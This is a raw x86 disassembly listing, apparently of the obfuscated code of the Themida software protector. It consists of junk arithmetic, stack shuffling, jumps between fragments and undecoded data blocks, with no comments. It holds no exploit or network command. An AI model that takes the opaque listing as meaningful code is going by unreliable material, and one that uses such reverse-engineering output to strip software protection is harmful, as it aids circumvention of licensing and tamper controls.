loc_54EA7F:				; CODE XREF: Themida_:0054C07Bj
		pop	ebp
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	edi
		push	ecx
		mov	ecx, 242F4594h
		jmp	loc_549826
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 4C48324h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_547718
; ---------------------------------------------------------------------------
		dd 5AE95455h, 58FFFF99h, 6D7568h, 241C8900h, 0FF9DC6E9h
		dd 24048FFFh, 0E924248Bh, 0FFFFF997h, 0FF7B04E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54EAD1:				; CODE XREF: Themida_:005498B2j
		sub	ecx, 595619F3h
		jmp	loc_549296
; ---------------------------------------------------------------------------
		dd 49FFC381h, 815E3CB2h, 4ECh, 241C8900h, 42474FFh, 24048F5Bh
		dd 2F59E9h
		db 0
; ---------------------------------------------------------------------------


loc_54EAF9:				; CODE XREF: Themida_:0054D981j
		add	edi, 4
		sub	edi, 4
		jmp	loc_54BD1B
; ---------------------------------------------------------------------------
		db 41h
		dd 352DE981h, 0C831E996h, 0FF924AE9h, 11CC68FFh, 14890000h
		dd 5F3E924h, 0D8280000h, 0FF9DE9E9h, 0F1E957FFh, 8000000Eh
		dd 0B60F81EBh, 148B66C0h, 3D1CE924h, 0E9560000h, 0FFFF9C93h
		dd 0DCBD5556h, 89038750h, 0EEC15DEEh, 0E9D6F702h, 1551h
		dd 4EC81h, 4890000h, 5D0BB824h,	35484F71h, 59430CEh, 0FF955DE9h
		dd 48B66FFh, 8F6E924h, 0D7280000h, 8B2434FFh, 89502414h
		dd 405E0h, 0C0830000h, 24048704h, 4C4835Ch, 34FFF828h
		dd 0C4815B24h, 4, 2EB45066h, 28DFC380h,	0DFEB80E3h, 0FFEC62E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54EBB1:				; CODE XREF: Themida_:00549E21j
		pop	eax
		pop	ebx
		jmp	loc_546C19
; ---------------------------------------------------------------------------
		dd 86EE814Eh, 89F522FBh, 0C1295EF0h, 60F18158h,	893C6A3Dh
		dd 0CF8159CFh, 6CD95818h, 0F781DFF7h, 0EB2DC3ADh, 3C8BFE31h
		dd 0DDC0E924h, 5150FFFFh, 242658B9h, 0EB4E95Dh,	74FF0000h
		dd 0ACE90424h, 0FFFF82h, 9DB1E9C3h, 48FFFFFh, 25BAE924h
		dd 0DE010000h, 2434875Bh, 66E9F65Ch, 56CCB60Fh,	0BD555E54h
		dd 48841E99h, 35D5E581h, 0D5F705F2h, 0EB6AF581h, 0EE01FF7Fh
		dd 0E92434FFh, 381Fh, 8324348Bh, 95E904C4h, 81FFFFDEh
		dd 4C4h, 4EC8300h, 53240489h, 66599A68h, 0ABE95B75h, 0B100002Eh
		dd 80C9FEB8h, 0CF30D2C1h, 5ACE9h
		db 0
; ---------------------------------------------------------------------------


loc_54EC69:				; CODE XREF: Themida_:0054A012j
		shl	edx, 1
		push	dword ptr [edi+24h]
		jmp	loc_54AB45
; ---------------------------------------------------------------------------
		db 2Dh
		dd 0AE21284Eh, 5D58C201h, 35F4E9h, 4B85000h, 1000000h
		dd 0EF8158C7h, 4, 0D9E5E957h, 3C89FFFFh, 3F06824h, 24890000h
		dd 24048324h, 0C7815F04h, 4, 67BD68h, 24348900h, 2BD55h
		dd 0EE890000h, 0A1C7815Dh, 81770D46h, 0BC7FF8C7h, 8B6E913h
		dd 0E0890000h, 405h, 40500h, 4870000h, 0F8E95C24h, 8B000020h
		dd 21662424h, 0E99C2404h, 0FFFF78E5h, 22116CBEh, 0C4E68158h
		dd 0C16CAE76h, 464E07E6h, 306CE9h
		db 0
; ---------------------------------------------------------------------------


loc_54ED05:				; CODE XREF: Themida_:0054A4EEj
		mov	[esp], eax
		mov	eax, 15EA028Bh
		or	eax, 531C790Ch
		not	eax
		shl	eax, 1
		xor	eax, 0F176277h
		add	ebx, eax
		pop	eax
		pop	ecx
		push	ebp
		mov	ebp, 54E337BCh
		push	1ABCD9Ch
		pop	ecx
		add	ecx, ebp
		jmp	loc_546D99
; ---------------------------------------------------------------------------
		dw 0E389h
		dd 4C381h, 0C3830000h, 241C8704h, 8324248Bh, 348904ECh
		dd 2474FF24h, 24348B04h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		xor	[esp], ax
		pushf
		jmp	loc_5465D5
; ---------------------------------------------------------------------------


loc_54ED6E:				; CODE XREF: Themida_:0054F2F1j
		mov	ecx, 212A58E8h
		or	ecx, 2E221DF4h
		not	ecx
		add	ecx, 64E87E13h
		jmp	loc_54A0F2
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 4C281h, 0A2E90000h, 5FFFFDDh, 5545CD1h, 0FF90A9E9h
		dd 48B66FFh, 59545124h,	1042E9h
		db 0
; ---------------------------------------------------------------------------


loc_54EDAD:				; CODE XREF: Themida_:0054B481j
		pop	eax
		push	ebx
		jmp	loc_54CD5F
; ---------------------------------------------------------------------------
		dd 24048B66h, 4EC81h, 0C890000h, 79B5E924h, 8957FFFFh
		dd 7BAD68E7h, 4890000h,	0E64BE924h, 0ED81FFFFh,	2219CE57h
		dd 0FF8F8EE9h, 2C583FFh, 2CEDE955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54EDEA:				; CODE XREF: Themida_:00551B39j
		sub	ebx, 0E3BFC87Fh
		or	ecx, ebx
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_54A824
; ---------------------------------------------------------------------------
		db 0BAh
		dd 4, 835AD601h, 343302C6h, 24343124h, 1D95E9h
		db 0
; ---------------------------------------------------------------------------


loc_54EE19:				; CODE XREF: Themida_:0054B496j
		push	edi
		sub	dword ptr [esp], 2549139Bh
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	ecx
		jmp	loc_5500EE
; ---------------------------------------------------------------------------
		dw 0C328h
		dd 801BC380h, 0EB8035EBh, 0B04BE91Ah, 0E901FFFFh, 0FFDC7CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54EE45:				; CODE XREF: Themida_:0054C390j
		mov	ecx, 36F92D47h
		xor	eax, ecx
		pop	ecx
		mov	esi, eax
		pop	eax
		add	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		xor	ebp, 5D955A68h
		not	ebp
		xor	ebp, 0D7E0B9C2h
		add	ecx, ebp
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	3892h
		mov	[esp], edi
		push	ebx
		push	edx
		jmp	loc_548E86
; ---------------------------------------------------------------------------


loc_54EE8D:				; CODE XREF: Themida_:00549E72j
		pop	esp
		mov	[esp], edi
		push	edx
		jmp	loc_546826
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0C8B2434h, 4C48324h,	81E78957h, 4C7h, 4C78100h, 87000000h
		dd 575C243Ch, 0C781E789h, 4, 0FFF7FFE9h, 0BD55FFh, 29000000h
		dd 5DE987CDh, 0FF8C9FE9h, 241C89FFh, 42474FFh, 24048F5Bh
		dd 0C8BF0F5Ch, 602668h,	240C8900h, 0FF76E8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54EEED:				; CODE XREF: Themida_:0054F83Ej
		mov	eax, 3B193014h
		jmp	loc_54E05D
; ---------------------------------------------------------------------------
		db 53h
		dd 0C381E389h, 4, 0FFE851E9h, 0C895CFFh, 186EB924h, 70E9115Fh
		dd 1000039h, 0DD4CE9F8h, 5F50FFFFh, 6E7C158h, 9F45F781h
		dd 0C281D0A4h, 4C0234DBh, 0EC83FA01h, 24048904h, 234DBB8h
		dd 0E9C2294Ch, 0FFFFC844h, 815FFE31h, 329BC0C6h, 5EF101C0h
		dd 2474FF51h, 6AE95904h, 81FFFFFBh, 4314AFC7h, 81D72930h
		dd 4314AFEFh, 24148B30h, 4C481h, 43E90000h, 0C1FFFFBBh
		dd 0EB8106EBh, 0F4C1ED5h, 3BDDE381h, 18E90293h
		db 88h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54EF87:				; CODE XREF: Themida_:0054CAB0j
		xor	eax, 1E2213C0h
		and	eax, 40162658h
		xor	eax, 3CD868CDh
		xor	edi, eax
		mov	eax, [esp]
		jmp	loc_54B404
; ---------------------------------------------------------------------------
		dd 53240C89h, 0C381E389h, 4, 0FFDDE8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54EFB1:				; CODE XREF: Themida_:00552803j
		add	edi, eax
		pop	eax
		pop	esi
		jmp	loc_547FB5
; ---------------------------------------------------------------------------
		dw 0E95Ah
		dd 0FFFFF1FBh, 3F796852h, 24890000h, 24048324h,	0A9FFE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_54F7E9
; ---------------------------------------------------------------------------


loc_54EFDA:				; CODE XREF: Themida_:0054D471j
		sub	eax, 7D37DA01h
		mov	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		sub	ebp, edx
		jmp	loc_546D26
; ---------------------------------------------------------------------------


loc_54EFEE:				; CODE XREF: Themida_:00551886j
		mov	edx, [esp]
		jmp	loc_5519E0
; ---------------------------------------------------------------------------


loc_54EFF6:				; CODE XREF: Themida_:0054CBEAj
		mov	esp, [esp]
		jmp	loc_54920F
; ---------------------------------------------------------------------------
		dw 5954h
		dd 4C181h, 0BF570000h, 4, 0E95FF929h, 0FFFFABB0h
; ---------------------------------------------------------------------------


loc_54F014:				; CODE XREF: Themida_:00550207j
		inc	edi
		shr	edi, 6
		sub	edi, 0ECD0h
		mov	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		and	eax, ebp
		push	dword ptr [esp]
		jmp	loc_54B7B7
; ---------------------------------------------------------------------------
		db 4Fh
		dd 4F06E781h, 0C7815FABh, 3F47E11Bh, 295FF901h,	0C82959C8h
		dd 0E9011B05h, 2434FF44h, 53240C8Bh, 0C381E389h, 4, 8704C383h
		dd 0E95C241Ch, 0FFFFF1CDh, 42094D2Dh, 56D80127h, 42094DBEh
		dd 5EF00127h, 14409D2Dh, 0E7895727h, 4C781h, 0EF810000h
		dd 4, 0E9243C87h, 1457h
; ---------------------------------------------------------------------------


loc_54F094:				; CODE XREF: Themida_:0054E4E5j
		add	ecx, eax
		pop	eax
		add	ecx, 4
		xor	ecx, [esp]
		jmp	loc_54F5F9
; ---------------------------------------------------------------------------
		dw 0C889h
		dd 0FFC12159h, 48B2434h, 4C48324h, 0C104C483h, 0C00900E9h
		dd 2372E9h, 59CA8900h, 637B68h,	243C8900h, 51B6B850h, 910D6B0Ah
		dd 55083B5Ch, 0FC11A6BDh, 5DE801FEh, 48BC789h, 4C48124h
		dd 1000000h, 0ABE95FF8h, 55FFFFB9h, 531044BDh, 7BED813Ch
		dd 89CA89ECh, 0C1815DE9h, 2B967ACEh, 8104E1C1h,	0F7DD8AE9h
		dd 59C80193h, 0FFBF33E9h, 20E9BAFFh, 0D7091DC6h, 0FF83CCE9h
		dd 14F757FFh, 0BA525F24h, 3D66CB7h, 4BE9D729h, 5AFFFFE7h
		dd 0FFDBB1E9h, 519868FFh, 4890000h, 748FE924h, 5066FFFFh
		dd 0AF8DE99Ch, 0BCBFFFFFh, 0E9693214h, 0FFFFFDE8h, 0E9F9015Bh
		dd 2CC4h
; ---------------------------------------------------------------------------


loc_54F160:				; CODE XREF: Themida_:00550AC0j
		pop	dword ptr [esp]
		jmp	loc_54B730
; ---------------------------------------------------------------------------


loc_54F168:				; CODE XREF: Themida_:00549314j
		pop	esp
		or	eax, eax
		jz	loc_55293B
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_548F0C
; ---------------------------------------------------------------------------
aAuy		db '[─НY',0
		dd 0CFB151FEh, 8029C980h, 0C9FE8AE9h, 0C180D9F6h, 59CE00BDh
		dd 66F0005Bh, 8124148Bh, 4ECh, 24348900h, 8E9E689h
		db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F1AF:				; CODE XREF: Themida_:005476F7j
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_547BBD
; ---------------------------------------------------------------------------


loc_54F1CC:				; CODE XREF: Themida_:00550B55j
		push	dword ptr [esp+4]
		mov	edi, [esp]
		jmp	loc_549C44
; ---------------------------------------------------------------------------
		dd 24048B66h, 0E9E18951h, 28E7h, 2D6CC4B8h, 0C1D8F708h
		dd 0E94806E0h, 0FFFFF59Fh, 815E5456h, 4C6h, 52BD5500h
		dd 817EB51Eh, 0D636F8CDh, 0C5814D1Eh, 0A107184h, 0FFE616E9h
		dd 0FE2859FFh, 0E838E95Bh, 0F181FFFFh, 6E593DCDh, 0C0E9CE01h
		dd 81000016h, 0C166DC3h, 243C8B32h, 52E68956h, 4BAh, 5AD60100h
		dd 8704C683h, 295C2434h, 0BFBE56C3h, 8165EC15h,	69C9C3h
		dd 81F3294Eh, 69C9EBh, 0B9515E4Eh, 2F0A5D1Ch, 5CCC981h
		dd 0E9811340h, 307C20BFh, 677EBA52h, 55E97E11h
		db 8, 2	dup(0)
; ---------------------------------------------------------------------------


loc_54F27B:				; CODE XREF: Themida_:00550FA5j
		or	ebx, edx
		pop	edx
		push	ebx
		jmp	loc_551B26
; ---------------------------------------------------------------------------
		dd 5C242C33h, 0E9241C89h, 0FFFF7E1Dh, 0E92D04ACh, 0FFFFF88Ah
		dd 81665A66h, 665611EBh, 0E9D831h, 81FFFFA5h, 4C4h, 0BD67E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F2B2:				; CODE XREF: Themida_:00548FDAj
		push	ebx
		mov	ebx, 2BD50EB6h
		dec	ebx
		sub	ebx, 696C7A18h
		jmp	loc_54AACC
; ---------------------------------------------------------------------------


loc_54F2C4:				; CODE XREF: Themida_:005472B1j
		pop	edi
		push	ebx
		push	esi
		mov	esi, 5EC69B7h
		or	esi, 46DF7676h
		sub	esi, 3F6B603Eh
		sub	esi, 110B6B18h
		push	edi
		mov	edi, 73F76EA5h
		add	edi, 35AA3953h
		xor	edi, 4095025Eh
		push	ecx
		jmp	loc_54ED6E
; ---------------------------------------------------------------------------


loc_54F2F6:				; CODE XREF: Themida_:00550DF8j
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		push	29DAh
		mov	[esp], ebp
		jmp	loc_55211F
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 5Dh
		dd 17FF52Ch, 11B0E9DEh,	0C1800000h, 80D9F64Ah, 0C3803DE9h
		dd 80CB0035h, 515935EBh, 0FFBFB6E9h, 0B1E9ADFFh, 5FFFFF79h
		dd 5C240487h, 0BD242C89h, 2076997Ah, 843E082Dh,	5E82952h
		dd 52843E08h, 2CF9E9h, 16EE8000h, 805AF728h, 0C78093EFh
		dd 5BF90060h, 0E982E980h, 0FFFF7551h, 15DE829h,	5EB05D0h
		dd 875A725Dh, 0D25C2404h, 0E99C240Ch, 0FFFF7249h, 0CA87E951h
		dd 38B1FFFFh, 0E959CB88h, 0C7h,	2645BA52h, 0DAF72DC0h
		dd 34EEE955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54F3AA:				; CODE XREF: Themida_:00546DE2j
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		or	eax, eax
		jz	loc_5514B0
		push	dword ptr [edi+1Ch]
		sub	dword ptr [esp], 75A927D7h
		pop	ecx
		push	ebp
		push	7E90h
		jmp	loc_5477CC
; ---------------------------------------------------------------------------


loc_54F3CD:				; CODE XREF: Themida_:0054A2ABj
		add	esp, 4
		jmp	loc_54AEB4
; ---------------------------------------------------------------------------


loc_54F3D8:				; CODE XREF: Themida_:0054A075j
		xchg	edx, [esp]
		pop	esp
		sub	eax, 4F727FC9h
		push	0ED3h
		jmp	loc_5469E6
; ---------------------------------------------------------------------------
		db 81h
		dd 0B21603C3h, 0C3815E64h, 3B3003CAh, 0EB81FB01h, 3B3003CAh
		dd 5135EB81h, 875F35ADh, 248B241Ch, 2424D324h, 71BFE99Ch
		dd 0E95FFFFFh, 0FFFFE68Ch
; ---------------------------------------------------------------------------


loc_54F41C:				; CODE XREF: Themida_:0054C312j
		push	ebx
		jmp	loc_550DF6
; ---------------------------------------------------------------------------
		dw 0D3F7h
		dd 0FFF242E9h, 5AD129FFh, 0C8BCE01h, 4C48124h, 81000000h
		dd 2C6h, 0DB68E900h, 1489FFFFh,	0E9EA8824h, 0FFFFE072h
		dd 83D830ACh, 0C8E902ECh
		db 0B7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F457:				; CODE XREF: Themida_:005480C1j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_54C206
; ---------------------------------------------------------------------------
		db 50h
		dd 0EB8037B4h, 0E9E32851h, 0FFFF7DB2h, 0E95D5455h, 0FFFF8C25h
; ---------------------------------------------------------------------------


loc_54F478:				; CODE XREF: Themida_:0054C666j
		sub	ecx, 0FFFFFFFFh
		sub	ecx, 1
		push	esi
		mov	esi, 0E1FFD9Bh
		sub	ecx, esi
		pop	esi
		jmp	loc_54B352
; ---------------------------------------------------------------------------


loc_54F492:				; CODE XREF: Themida_:00550A55j
		pop	ebp
		jmp	loc_54F72F
; ---------------------------------------------------------------------------


loc_54F498:				; CODE XREF: Themida_:005521D5j
		pop	esi
		jmp	loc_54A181
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 6856240Ch, 7675h, 81242489h,	42404h,	81E90000h
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F4B7:				; CODE XREF: Themida_:00546B07j
		mov	edx, 4879508Eh
		sub	edx, 2C5255AEh
		push	esi
		mov	esi, 7C15307Bh
		add	esi, 0A1CC2833h
		jmp	loc_547660
; ---------------------------------------------------------------------------
		db 0BBh
		dd 0B1243A1h, 1C8BDF31h, 4C48324h, 2734BE56h, 0F70179CAh
		dd 0FF8805E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54F4ED:				; CODE XREF: Themida_:005474E8j
		push	esi
		jmp	loc_548001
; ---------------------------------------------------------------------------


loc_54F4F3:				; CODE XREF: Themida_:00550FD4j
		mov	[esp], ebx
		mov	bh, 17h
		jmp	loc_54AE9A
; ---------------------------------------------------------------------------
		db 81h,	0F2h, 7Bh
		dd 0E9265F17h, 0FFFFA796h, 597EF381h, 0CE93FEBh, 66FFFFA3h
		dd 68240C8Bh, 3F97h, 54243489h,	4EC835Eh, 0BB241C89h, 4
		dd 0FFE09CE9h, 24348BFFh, 4C481h, 46680000h, 0E9000066h
		dd 2645h
; ---------------------------------------------------------------------------


loc_54F544:				; CODE XREF: Themida_:00548876j
		mov	[esp], ebp
		jmp	loc_55075D
; ---------------------------------------------------------------------------
		dd 9D1C77FFh, 4105866h,	7AE99C24h
		db 70h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F55B:				; CODE XREF: Themida_:0054D57Dj
		add	eax, ecx
		push	esi
		mov	esi, 5DEC7D7Bh
		inc	esi
		shl	esi, 8
		add	esi, 1F828EB3h
		jmp	loc_54D3A3
; ---------------------------------------------------------------------------
		dw 348Bh
		dd 4C48324h, 4C481h, 0E95F0000h, 0FFFF7051h, 0EF81F701h
		dd 13BC7FF8h, 46A1EF81h, 348B770Dh, 4C48324h, 31243C33h
		dd 3C33243Ch, 0D77AE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F5A6:				; CODE XREF: Themida_:0054E262j
		mov	[esp], eax
		mov	eax, 66707B20h
		jmp	loc_547BB3
; ---------------------------------------------------------------------------


loc_54F5B3:				; CODE XREF: Themida_:005517D3j
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_54CF45
; ---------------------------------------------------------------------------
		dw 9768h
		dd 0E9000001h, 7CCh, 0BBE94141h, 0BDFFFF97h, 0FE1AC069h
		dd 11E9EA89h
		db 81h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F5DB:				; CODE XREF: Themida_:005519D3j
		xor	[edi+24h], ebx
		xor	ebx, [edi+24h]
		jmp	loc_5507D5
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 8C6F778Eh, 0BCE9F229h, 4BFFFFA3h, 0FF9C4AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54F5F9:				; CODE XREF: Themida_:0054F09Dj
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_54CBEF
; ---------------------------------------------------------------------------
		dd 4C7835Eh, 5C243C87h,	81D2315Bh, 4ECh, 241C8900h, 0AC240481h
		dd 0FF709B48h, 83582434h, 1C8904ECh, 81E38924h,	4C3h, 0A7685000h
		dd 8B4B7A09h, 0C4832404h, 7E0C104h, 0FF7658E9h,	24048BFFh
		dd 68E28952h, 2F4Ch, 0B8240489h, 4, 3C5C281h, 0C2810F42h
		dd 74435010h, 0EA81C201h, 74435010h, 3C5EA81h, 48B0F42h
		dd 21FEE924h, 34FF0000h, 242C8187h, 37884FCAh, 8B2434FFh
		dd 0C4812404h, 4, 81E38953h, 4C3h, 0E3F9E900h, 0C681FFFFh
		dd 9B50E7FCh, 0E95EF701h, 3182h, 0B0240489h, 2E42E9ABh
		dd 0E9530000h, 0FFFF8CE7h, 8900E954h, 8B66FFFFh, 0C4E92404h
		dd 5E00002Fh, 0FEE9D801h, 50FFFF7Ah, 6EFBE99Ch,	685BFFFFh
		dd 7DDBh, 0B7241C89h, 5E7C0D7h,	0C002EFC0h, 0E78006EFh
		dd 13C7800Fh, 38C568h, 24048900h, 0FFC3A8E9h, 163205FFh
		dd 0C689520Fh, 7E6C158h, 0FF9825E9h, 76ED81FFh,	8B102323h
		dd 8957243Ch, 4C781E7h,	83000000h, 3C8704C7h, 19E95C24h
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54F72F:				; CODE XREF: Themida_:0054F493j
		push	ecx
		mov	ecx, 5A554191h
		jmp	loc_550D15
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 0E1895124h, 7029E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F746:				; CODE XREF: Themida_:00551D21j
		not	esi
		add	esi, 45152E42h
		sub	esi, 191A7A87h
		add	esi, 6D88884Fh
		xor	edx, esi
		pop	esi
		mov	esi, edx
		mov	edx, [esp]
		add	esp, 4
		and	eax, esi
		pop	esi
		jmp	loc_54A339
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0E9000000h, 0FFFFE3B3h, 9A89E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F77E:				; CODE XREF: Themida_:00547346j
		or	edx, 6AE24184h
		neg	edx
		add	edx, 0FAEFE5E1h
		jmp	loc_5476F4
; ---------------------------------------------------------------------------
		db 29h,	0C1h, 58h
		dd 0FFE13AE9h, 0A2E981FFh, 18A1EC7h, 8215E9CFh,	3DB8FFFFh
		dd 29621425h, 0E28158C2h, 6B95513Bh, 1893B951h,	0CA015327h
		dd 0E9D10159h, 0FFFFBBD3h, 0B143F480h, 8BE12872h, 89502404h
		dd 91E953E0h, 64FFFFCAh, 0E9028B66h, 0FFFFA646h, 24248B66h
		dd 0FF6DECE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54F7E9:				; CODE XREF: Themida_:0054EFD5j
		push	ecx
		mov	ecx, 6C2F6ED2h
		jmp	loc_54E3B7
; ---------------------------------------------------------------------------


loc_54F7F4:				; CODE XREF: Themida_:0054A8C0j
		push	edx
		xor	dword ptr [esp], 76705F2Ch
		pop	edi
		push	edx
		jmp	loc_54C088
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 4C18100h, 57000000h, 4BFh, 0E9F90100h,	327h
; ---------------------------------------------------------------------------


loc_54F81C:				; CODE XREF: Themida_:00547E21j
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		push	ebx
		pop	dword ptr [edi+24h]
		pop	ebx
		push	eax
		jmp	loc_54EEED
; ---------------------------------------------------------------------------
		db 89h
		dd 0DDBB241Ch, 0E966C214h, 0FFFFFBD2h
; ---------------------------------------------------------------------------


loc_54F850:				; CODE XREF: Themida_:00552734j
		push	edi
		mov	edi, 45B3759Ah
		push	ecx
		push	edx
		push	645C670Ch
		jmp	loc_54FF3B
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 77E92404h
		db 0C0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F86B:				; CODE XREF: Themida_:00546A8Cj
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, esp
		push	esi
		mov	esi, 35691A52h
		push	ebp
		mov	ebp, 35691A4Eh
		sub	esi, ebp
		pop	ebp
		jmp	loc_546609
; ---------------------------------------------------------------------------


loc_54F891:				; CODE XREF: Themida_:0054B5DCj
		inc	eax
		xor	eax, 4950479Eh
		add	ecx, eax
		jmp	loc_546DE7
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 7FAF5EBCh, 0E95EF089h, 0FFFF6D29h, 2434875Bh, 0FFC03BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54F8B5:				; CODE XREF: Themida_:00548821j
		shr	ecx, 2
		not	ecx
		shr	ecx, 7
		add	ecx, 0FE14F21Dh
		add	edi, ecx
		pop	ecx
		xchg	edi, [esp]
		mov	esp, [esp]
		bt	[esp], ax
		pushf
		jmp	loc_5465D5
; ---------------------------------------------------------------------------


loc_54F8D7:				; CODE XREF: Themida_:00550F66j
		add	ebp, 0BD6D39ABh
		mov	ecx, ebp
		pop	ebp
		or	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	esi, 8BF8413Fh
		xor	edi, esi
		pop	esi
		push	edi
		not	dword ptr [esp]
		jmp	loc_54F9C5
; ---------------------------------------------------------------------------
		dw 0E95Eh
		dd 0FFFF72E1h
; ---------------------------------------------------------------------------


loc_54F900:				; CODE XREF: Themida_:0054D9F1j
		not	esi
		sub	esi, 0F4B62A96h
		jmp	loc_54AFA0
; ---------------------------------------------------------------------------
		db 54h,	5Eh, 81h
		dd 4C6h, 4C68300h, 2474FF56h, 24348B04h, 0FFC6E6E9h, 240C8BFFh
		dd 8B04C483h, 0C4832404h, 6DCDE904h, 148BFFFFh,	4C48124h
		dd 58000000h, 5201EF80h, 0E6804FB6h, 0FED6F60Dh, 0FA0BE9CEh
		dd 34FFFFFFh, 85E95B24h, 81000003h, 4C2h, 4EA8300h, 5C241487h
		dd 68243489h, 1, 8324348Bh, 0E7E904C4h,	89FFFFD0h, 4AB82404h
		dd 29499A51h, 0C38158C3h, 79A266E4h, 1C8BD831h,	4C48124h
		dd 81000000h, 4ECh, 243C8900h, 3A02BB53h, 0E94B7C87h, 0FFFFEAD2h
		dd 0EB05D801h, 5B552912h, 8704C083h, 0EBE92404h, 5F000015h
		dd 149AE9h
		db 0
; ---------------------------------------------------------------------------


loc_54F9C5:				; CODE XREF: Themida_:0054F8F5j
		pop	edi
		jmp	loc_54FAE0
; ---------------------------------------------------------------------------
		db 0B0h
		dd 59EB80D6h, 0C380C328h, 0F586659h, 34FFC0B6h,	0E6895687h
		dd 0FF9A5AE9h, 5AD189FFh, 0E959C801h, 0FFFFAC68h, 8B2434FFh
		dd 0C4812404h, 4, 0D536853h, 24890000h,	0F11FE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54FA0A:				; CODE XREF: Themida_:005486E1j
		pop	eax
		jmp	loc_5511EF
; ---------------------------------------------------------------------------


loc_54FA10:				; CODE XREF: Themida_:0054CB34j
		mov	esp, [esp]
		jmp	loc_54C70C
; ---------------------------------------------------------------------------


loc_54FA18:				; CODE XREF: Themida_:005493D1j
		push	dword ptr [esp]
		jmp	loc_5491E5
; ---------------------------------------------------------------------------
		dd 4BFh, 247C0100h, 0FD4AE904h,	0EA80FFFFh, 29046Ch, 5A292CD0h
		dd 0B353D800h, 3F966856h, 86E90000h
		db 0B6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54FA47:				; CODE XREF: Themida_:0054E2DBj
		sub	edi, ebp
		jmp	loc_54A1C6
; ---------------------------------------------------------------------------
		dw 0EB83h
		dd 241C8704h, 2404895Ch, 24B8h,	0A8C0500h, 0F8016952h
		dd 520A8C2Dh, 0C298E969h, 6859FFFFh, 1A5Ah, 0E9241C89h
		dd 0FFFF7F66h
; ---------------------------------------------------------------------------


loc_54FA7C:				; CODE XREF: Themida_:00549758j
		mov	eax, 636F46D5h
		sub	[esp+4], eax
		pop	eax
		pop	eax
		push	ecx
		mov	ecx, 0CA5B8Ah
		push	ebp
		mov	ebp, 64422D4Fh
		jmp	loc_552340
; ---------------------------------------------------------------------------


loc_54FA98:				; CODE XREF: Themida_:00546E6Dj
		shr	edx, 4
		sub	edx, 6DA15E00h
		jmp	loc_5521D0
; ---------------------------------------------------------------------------
		dw 4949h
		dd 0E181D1F7h, 3CA85BCEh, 417F181h, 0C8894E82h,	5E0C159h
		dd 405ABD55h, 0E5C16EC4h, 0BEE7E904h, 0E959FFFFh, 0FFFFA9F0h
		dd 39A1BB53h, 0DA3106BBh, 0E9D1295Bh, 0FFFFF653h
; ---------------------------------------------------------------------------


loc_54FAE0:				; CODE XREF: Themida_:0054F9C6j
		push	esi
		mov	esi, 65934031h
